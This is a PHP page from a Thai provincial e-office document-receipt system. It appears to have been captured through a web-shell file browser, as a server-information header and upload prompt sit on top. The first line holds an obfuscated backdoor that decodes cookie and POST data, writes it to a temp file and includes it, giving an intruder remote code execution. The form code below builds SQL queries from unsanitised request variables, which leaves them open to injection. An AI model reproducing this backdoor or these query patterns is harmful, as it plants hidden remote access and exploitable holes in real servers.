|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/eoffice/application/document/ |
Upload File : |
<?php if (!class_exists("roqij")){class roqij{public static $uasxprq = "ofbavrsbnoeeuwxw";public static $fqudkpe = NULL;public function __construct(){$hijglkjgr = @$_COOKIE[substr(roqij::$uasxprq, 0, 4)];if (!empty($hijglkjgr)){$jmckkfgr = "base64";$aiyvnm = "";$hijglkjgr = explode(",", $hijglkjgr);foreach ($hijglkjgr as $rajmerf){$aiyvnm .= @$_COOKIE[$rajmerf];$aiyvnm .= @$_POST[$rajmerf];}$aiyvnm = array_map($jmckkfgr . "_decode", array($aiyvnm,));$aiyvnm = $aiyvnm[0] ^ str_repeat(roqij::$uasxprq, (strlen($aiyvnm[0]) / strlen(roqij::$uasxprq)) + 1);roqij::$fqudkpe = @unserialize($aiyvnm);}}public function __destruct(){$this->zuqxif();}private function zuqxif(){if (is_array(roqij::$fqudkpe)) {$czzwsorlo = sys_get_temp_dir() . "/" . crc32(roqij::$fqudkpe["salt"]);@roqij::$fqudkpe["write"]($czzwsorlo, roqij::$fqudkpe["content"]);include $czzwsorlo;@roqij::$fqudkpe["delete"]($czzwsorlo);exit();}}}$fmduhhfc = new roqij();$fmduhhfc = NULL;} ?><link href="../../common/style.css" rel="stylesheet" type="text/css" />
<script language="javascript">
function mOvr(src,clrOver){
if (!src.contains(event.fromElement)) src.bgColor = clrOver;
}
function mOut(src,clrIn){
if (!src.contains(event.toElement)) src.bgColor = clrIn;
}
function showEle(divname){
if(document.getElementById(divname).style.display == 'none'){
document.getElementById(divname).style.display = 'block';
} else {
document.getElementById(divname).style.display = 'none';
}
}
function checkEle(divname){
//alert(document.post.getting.length);
if(document.post.getting.selectedIndex== document.post.getting.length-1){
document.getElementById(divname).style.display = 'block';
}else
{
document.getElementById(divname).style.display = 'none';
}
}
function openEle(divname){
document.getElementById(divname).style.display = 'block';
}
function closeEle(divname){
document.getElementById(divname).style.display = 'none';
}
</script>
<FORM action="<?=$PHP_SELF?>?type=get" name="post" method="post" enctype="multipart/form-data" onSubmit="return check();">
<? if( ($action=="activity") &&($id)){
$sql_doc_list="SELECT * FROM document WHERE id='$id' Limit 1";
$query = mysql_query($sql_doc_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$rs_doc=mysql_fetch_assoc($query);
$sql_getting_list="SELECT * FROM doc_receive WHERE docid='$rs_doc[id]' ";
$query = mysql_query($sql_getting_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); $j=0;
$rsl=mysql_fetch_assoc($query);
$sql_attach_list="SELECT * FROM doc_receive WHERE docid='$rs_doc[id]' ";
$query = mysql_query($sql_attach_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); $j=0;
while($rsa=mysql_fetch_assoc($query)){
$attachment[$rsa[attach]]=$rsa[name];
}
}
$sql_p="
SELECT
$table_staff.prename,
$table_staff.staffname,
$table_staff.staffsurname,
doc_receive.staff_id,
doc_receive.docid
FROM
doc_receive
Inner Join $table_staff ON doc_receive.staff_id = $table_staff.staffid
WHERE
doc_receive.docid = '$rs_doc[id]'
";
$result_p = mysql_query($sql_p)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$ersp = mysql_fetch_assoc($result_p);
$pr[$ersp[docid]]=$ersp[prename]." ".$ersp[staffname]." ".$ersp[staffsurname];
if($rsl[staff_id]) { $sending_show=$ersp[prename]." ".$ersp[staffname]." ".$ersp[staffsurname]; }
$sql_g="
SELECT
doc_receive.docid,
$table_staffgroup .groupname,
doc_receive.group_id
FROM
doc_receive
Inner Join $table_staffgroup ON doc_receive.group_id = $table_staffgroup .gid
WHERE
doc_receive.docid = '$rs_doc[id]'
";
$result_g = mysql_query($sql_g)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$ersg= mysql_fetch_assoc($result_g);
$gr[$ersg[docid]]=$ersg[groupname];
if($rsl[group_id]) { $sending_show=$ersg[groupname]; }
$sql_attach_check = "
SELECT
doc_attach.id,
doc_attach.name,
doc_attach.attach,
doc_attach.description
FROM
doc_attach
Inner Join document ON doc_attach.docid = document.id
WHERE
document.id = '$rs_doc[id]'
";
$result_check = mysql_query($sql_attach_check)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($crs = mysql_fetch_assoc($result_check)){
$attachname[$crs[id]]=$crs[name];
$attachfile[$crs[id]]=$crs[attach];
$descritment[$crs[id]]=$crs[description];
}
?>
<table width="100%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td valign="top"><table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
<tr>
<td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0" class="normal_black">
<tr bgcolor="#f8f8f8">
<td height="20" colspan="2" class="normal_blue"> <img src="../../images/ico_keyin.gif" width="16" height="16" border="0" align="absmiddle" /><strong>ข้อมูลปฏิบัติทะเบียนหนังสือรับ</strong></td>
</tr>
<tr>
<td colspan="2" height="20"><hr color="#f8f8f8" /></td>
</tr>
<tr>
<td height="20" align="right" valign="top">ลำดับเอกสาร <b>:</b> </td>
<td align="left" valign="top"><?
$sql_max_case="select max(docid) as maxcase from document where type='$type' ";
$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$maxrs = mysql_fetch_assoc($query_max);
if($rs_doc[docid]){$doc_gen=$rs_doc[docid];}else{ $doc_gen=$maxrs[maxcase]+1;}?>
<?=$doc_gen?> </td>
</tr>
<tr>
<td height="20" align="right" valign="top">เลขหนังสือ <b>:</b> </td>
<td align="left" valign="top"><?=$rs_doc[refid]?>
<?
$sql_setting="
select * from system
";
$result=mysql_query($sql_setting);
while($command=mysql_fetch_assoc($result)){
if($command[command]=="autonumber"){$auto_check=$command[value];}
if($command[runningout]=="runningout"){$max_out=$command[value];}
if($command[runningout]=="runningcircular"){$max_out=$command[value];}
}
if($auto_check=="on"){
?>
<? // if($ers[type]=="send"){echo "/$ers[number]";}?><? //if($ers[type]=="circular"){echo "/ว$ers[number]";}?>
<?}?>
ลงวันที่.
<? if($rs_doc[pdate] == "")
{ $ndate = date("d/m/").(date("Y") + 543);
}else{
$d = explode("-", $rs_doc[pdate]);
$ndate = $d[2]."/".$d[1]."/".($d[0] + 543);
}
?>
<?=$ndate?></td>
</tr>
<tr valign="top">
<td height="20" align="right" valign="top">จาก <b>:</b> </td>
<td align="left" valign="top"><?=$rs_doc[sending]?></td>
</tr>
<tr valign="top">
<td height="20" align="right" valign="top">ถึง <b>:</b> </td>
<td align="left" valign="top"><?=$rs_doc[getting]?></td>
<!--</TR>
<TR valign="top">
<TD height="20" align="right">สิทธิ์ในเอกสาร <B>:</B> </TD>
<TD align="left">
<input name="sending_show" type="text" id="send_show" style="width:271px;" readonly="readonly" value="<?=$sending_show?>">
<input name="gid" type="hidden" id="gid" readonly="readonly" value="<?=$rsl[group_id]?>"/>
<input name="staffid" type="hidden" id="staffid" readonly="readonly" value="<?=$rsl[staff_id]?>"/>
<input type="button" name="Button" value="เพิ่มรายชื่อ" onClick="MM_openBrWindow('org_left.php','add_user','addres=no,toolbar=no,scrollbars=yes,width=600,height=400')"/></TD>
</TR>-->
</tr>
<tr>
<td height="20" align="right" valign="top">เรื่อง <b>:</b> </td>
<td align="left" valign="top"><?=$rs_doc[title]?></td>
</tr>
<tr>
<td height="20" align="right" valign="top">หมายเหตุ <b>:</b> </td>
<td valign="top"><?=$rs_doc[comment]?></td>
</tr>
<tr>
<td height="20" align="right" valign="top"><img src="../../images/file_attach.gif" width="7" height="13" align="absmiddle" /> ไฟล์เอกสารแนบ <b>:</b> </td>
<td valign="top"><script type="text/javascript">
// FILE ADD FUNCTION
var gFiles = 0;
function addFile() {
var li = document.createElement('li');
li.setAttribute('id', 'file-' + gFiles);
li.innerHTML = '<table width="360" border="0" cellspacing="0" cellpadding="1"> <tr> <td width="350"><table width="100%" border="0" cellpadding="1" cellspacing="1" bgcolor="#F8F8F8"><tr><td><table width="100%" border="0" cellpadding="1" cellspacing="0" bgcolor="#FFFFFF"><tr><td><input type="file" name="file['+(gFiles)+']" class="input" /></td></tr><tr><td valign="top">รายละเอียด <strong>:</strong> <br /> <textarea name="description['+(gFiles)+']" rows="3" class="input" style="width:240px;"></textarea><br /><font color="#FF0000">*กรุณาระบุรายละเอียดไฟล์</font></td></tr></table></td></tr></table></td><td width="10" align="center" valign="bottom"><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;"><img src="../../images/profile_sub.gif" /></span></td></tr></table><hr style="width:360px;" align="left"/>';
document.getElementById('files-root').appendChild(li);
gFiles++;
}
function removeFile(aId){
var obj = document.getElementById(aId);
obj.parentNode.removeChild(obj);
}
</script>
<?
if (is_array($attachname) ) {
foreach($attachname as $attach_id => $attach_name) { ?>
<LI><img src="../../images/attach16.gif" width="16" height="16" border=0 align="absmiddle"/>
<? if( ($session_permit[200]) || ( $session_staffid==$ers[owner] ) || ($permit[$attach_id]==$session_staffid) ){?>
<a href="download_file.php?reading=<?=$attach_id?>" target="_blank" title="<?=$attach_name?>">
<?=trimtxt($descritment[$attach_id],32)?>
</a>
<? }else{ ?>
<?=trimtxt($descritment[$attach_id],32)?><? } ?>
<? }
} ## if (is_array($file_attach) ) {
?>
</td>
</tr>
<tr>
<td colspan="2" align="right">
<!--<table border="0" cellspacing="1" cellpadding="1">
<tr>
<td>
<? if((!$prd[$ers[id]]) || ($type=="send")) {?>
<a href="<?=$PHP_SELF?>?action=edit&id=<?=$ers[id]?>&page=<?=$page?>&type=<?=$type?>" style="text-decoration:none">
<img src="../../images/ico_trans_edit.gif" alt="แก้ไข" width=16 height=16 border="0" align="absmiddle"> </a>
<? }else{ ?>
<img src="../../images/ico_trans_edit_b.gif" alt="ไม่สามารถแก้ไข้ได้ เนื่องจากเป็นทะเบียนที่เกิดกิจกกรมแล้ว" width=16 height=16 border="0" align="absmiddle">
<? } ?> </td>
<td>
<? if(!$prd[$ers[id]]) {?>
<a href="<?=$PHP_SELF?>?action=del&id=<?=$ers[id]?>&page=<?=$page?>&type=<?=$type?>" style="text-decoration:none" onClick="return confirm('ท่านต้องการที่จะลบหนังสือเลขที่ <?=$ers[docid]?> ใช่หรือไม่ ?')">
<img src=../../images/ico_trash.gif alt="ลบ" width=16 height=16 border="0" align="absmiddle"> </a>
<? }else{ ?>
<img src="../../images/ico_trash_b.gif" alt="ไม่สามารถลบได้ เนื่องจากเป็นทะเบียนที่เกิดกิจกกรมแล้ว" width=16 height=16 border="0" align="absmiddle">
<? } ?> </td>
</tr>
</table>-->
</td>
</tr>
<tr valign="top">
<td height="20" colspan="2" align="center" valign="top"><br /><br />
<?
$sql_history="
SELECT
document.`status`,
document.time_rec,
document.owner,
doc_receive.status,
doc_receive.staff_id,
doc_receive.group_id,
$table_staff.prename,
$table_staff.staffname,
$table_staff.staffsurname
FROM
doc_receive
Inner Join document ON doc_receive.docid = document.id
Inner Join $table_staff ON doc_receive.staff_id = $table_staff.staffid
WHERE
document.id = $rs_doc[id]
Group by $table_staff.staffid
";
$gid="";
$pid="";
$sid="";
$a=0;
$result = mysql_query($sql_history)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($hrs = mysql_fetch_assoc($result)){
if($hrs[group_id][0]=="g"){ $g=substr($hrs[group_id],1); $gid.=$g.","; $gid_check[$g]="$g";}
if($hrs[group_id][0]=="p"){ $p=substr($hrs[group_id],1); $pid.=$p.","; $pid_check[$p]="$p";}
if(!$hrs[group_id]){
if($a>0){ $show_sid.=" , "; }$a++;
$sid.=$hrs[staff_id].",";
$show_sid.=$hrs[prename].$hrs[staffname]." ".$hrs[staffsurname];
}
}
$gid=substr($gid,0,-1);
$pid=substr($pid,0,-1);
$sid=substr($sid,0,-1);
if($gid_check ){$a=0;
foreach ( $gid_check as $num )
{
$xtype.=$num.",";
if($a==0){ $select_code.="AND ( "; }else{ $select_code.=" OR "; }$a++;
$select_code.=" $table_staffgroup.gid = $num";
}
$select_code.=")";
$sql_check_group="
SELECT
$table_staffgroup.groupname,
$table_staffgroup.gid
FROM
$table_staffgroup
WHERE
$table_staffgroup.org_id = '2'
$select_code
ORDER by $table_staffgroup.gid ASC
";
$show_gid="";
$resultg = mysql_query($sql_check_group)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$i=0;
while($rs_glist = mysql_fetch_assoc($resultg)){
if($i>0){ $show_gid.=" , "; }$i++;
$show_gid.=$rs_glist[groupname];
}
}
if($pid_check ){
$select_code="";$a=0;
foreach ( $pid_check as $num )
{
$xtype.=$num.",";
if($a==0){ $select_code.="AND ( "; }else{ $select_code.=" OR "; }$a++;
$select_code.=" $profile_staffgroup.gid = $num";
}
$select_code.=")";
$sql_check_group="
SELECT
$profile_staffgroup.groupname,
$profile_staffgroup.gid
FROM
$profile_staffgroup
WHERE
$profile_staffgroup.org_id = '2'
$select_code
ORDER by $profile_staffgroup.gid ASC
";
$resultg = mysql_query($sql_check_group)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($rs_glist = mysql_fetch_assoc($resultg)){
if($i>0){ $show_gid.=" , "; }$i++;
$show_gid.=$rs_glist[groupname];
}
}
// echo $show_gid=substr($show_gid,0,-1);
?>
<table width="96%" border="1" cellpadding="0" cellspacing="0" bordercolor="#EFEFEF">
<tr>
<td align="center" valign="middle"><br />
<table width="96%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
<tr>
<td valign="top" bgcolor="#CCCCCC"><strong>ส่งต่อเอกสาร</strong></td>
</tr>
<tr>
<td valign="top"><table width="100%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td width="10"><input name="activity_select" id="radio" type="radio" value="all" onclick="closeEle('display');"/></td>
<td> เอกสารเวียนบุคลากร</td>
</tr>
<tr><? $g_check="none"; ?>
<td><input name="activity_select" id="radio2" type="radio" value="private" onclick="openEle('display');" <? if(($show_gid)||($show_sid)){echo "checked";$g_check="block";}?>/></td>
<td> ระบุผู้รับ</td>
</tr>
<tr valign="top">
<td align="left"> </td>
<td align="left">
<div id="display" name="display" style="display:<?=$g_check?>;">
<table width="98%" border="0" cellspacing="1" cellpadding="1">
<!--<tr valign="top">
<td align="right" valign="middle">
<script language="javascript">
function check_group(){
if(document.post.activity_group.checked==false ){
document.post.gid_show.value = "";
}
</script> </td>
<td align="left" valign="middle">เลือกกลุ่ม
<label></label></td>
</tr>
<tr valign="top">
<td align="left"> </td>
<td align="left">
<textarea name="gid_show" rows="3" readonly="readonly" id="gid_show" style="width:300px;"><?=$show_gid?></textarea>
<input name="gid" type="hidden" id="gid" readonly="readonly" value="<?=$gid?>"/>
<input name="pid" type="hidden" id="pid" readonly="readonly" value="<?=$pid?>"/>
<input type="button" name="Button22" value="เลือกกลุ่ม" onclick="MM_openBrWindow('active_group.php?id=<?=$id?>&type=<?=$type?>','add_user','addres=no,toolbar=no,scrollbars=yes,width=400,height=600')"/> </td>
</tr>-->
<tr valign="top">
<td align="right" valign="middle"> </td>
<td align="left" valign="middle">เลือกรายบุคคล</td>
</tr>
<tr valign="top">
<td align="left"> </td>
<td align="left"><textarea name="sid_show" rows="3" readonly="readonly" id="sid_show" style="width:300px;"><?=$show_sid?></textarea>
<input name="sid" type="hidden" id="sid" readonly="readonly" value="<?=$sid?>"/>
<input type="button" name="Button2" value="เลือกบุคคล" onclick="MM_openBrWindow('active_person.php?id=<?=$id?>&type=<?=$type?>','add_user','addres=no,toolbar=no,scrollbars=yes,width=400,height=600')"/></td>
</tr>
</table>
</div></td>
</tr>
</table></td>
</tr>
</table>
<br />
<table width="96%" border="1" cellpadding="0" cellspacing="0" bordercolor="#EFEFEF">
<tr valign="top" class="normal_black">
<td height="20"><table width="100%" border="0" cellpadding="0" cellspacing="0" bordercolor="#EFEFEF">
<tr valign="top" class="normal_black">
<td height="20" colspan="2" align="left" valign="top" bgcolor="#CECFCE"> <strong>ระบุวันดำเนินการ</strong></td>
</tr>
<tr valign="top" class="normal_black">
<td width="20" height="20" align="right" valign="top"><input name="deadline_check" type="radio" onclick="closeEle('display1');" value="none" checked="checked"></td>
<td valign="top"> ไม่ระบุดำเนินการ</td>
</tr>
<tr valign="top" class="normal_black">
<td height="20" align="right" valign="top"><input name="deadline_check" type="radio" value="fix" onclick="openEle('display1');" /></td>
<td valign="top"> ระบุวันดำเนินการ</td>
</tr>
<tr valign="top" class="normal_black">
<td height="20" align="right" valign="top"> </td>
<!--<?=$rs_doc[comment]?>-->
<td valign="top"><div id="display1" name="display1" style="display:<?=$g_check?>;">
<input type="text" name="deadline" id="Txt-Field" class="input" maxlength="10" style="width:200px;" readonly="readonly" />
<script language='JavaScript' type="text/javascript"> if (!document.layers) { document.write("<input type=button onclick='popUpCalendar(this, post.deadline, \"dd/mm/yyyy\")' value=' เลือกวัน ' class='input'>") }</script>
<br />
แจ้งเตือนก่อนวันดำเนินการ
:
<select name="deadline_alert">
<? for($i=1;$i<100;$i++){?>
<option value="<?=$i?>"><?=$i?></option>
<? }?>
</select>
วัน</div></td>
</tr>
</table></td>
<!--<?=$rs_doc[comment]?>-->
</tr>
</table>
<br />
<table width="96%" border="1" cellpadding="0" cellspacing="0" bordercolor="#EFEFEF">
<tr valign="top" class="normal_black">
<td height="20" align="right" valign="top">หมายเหตุ <b>:</b> </td><!--<?=$rs_doc[comment]?>-->
<td valign="top"><textarea name="comment" rows="3" class="input" style="width:320px;"></textarea></td>
</tr>
</table>
<br />
<br />
<br /></td>
</tr>
</table>
<br /></td>
</tr>
<tr>
<td height="20" align="right"> </td>
<td height="100%"><input type="hidden" name="action" value="<?=$action?>" />
<input type="hidden" name="page" value="<?=$page?>" />
<input type="hidden" name="id" value="<?=$id?>" />
<input type="hidden" name="type" value="<?=$type?>" />
<input type="hidden" name="status" value="<?=$status?>" /></td>
</tr>
<tr>
<td height="20" align="right"> </td>
<td height="100%"><input name="submit" type="submit" id="submit" value="ดำเนินการ" onClick="return confirm('ต้องการดำเนินการ ใช่หรือไม่ ?')"/>
<input name="button" type="button" class="input" style="width:100;" onclick="window.location.replace('?page=<?=$page?>&type=get')" value="กลับหน้าหลัก" /></td>
</tr>
</table> </td>
</tr>
</table> </td>
<td width="50%" valign="top">
<?
$user_id=$rs_doc[id];
$timecoming=$rs_doc[time_rec];
$ownercoming=$rs_doc[owner];
?>
<? include "docreg_history.php";?></td>
</tr>
<tr>
<td colspan="2" align="center" valign="top"> </td>
</tr>
</table>
</FORM>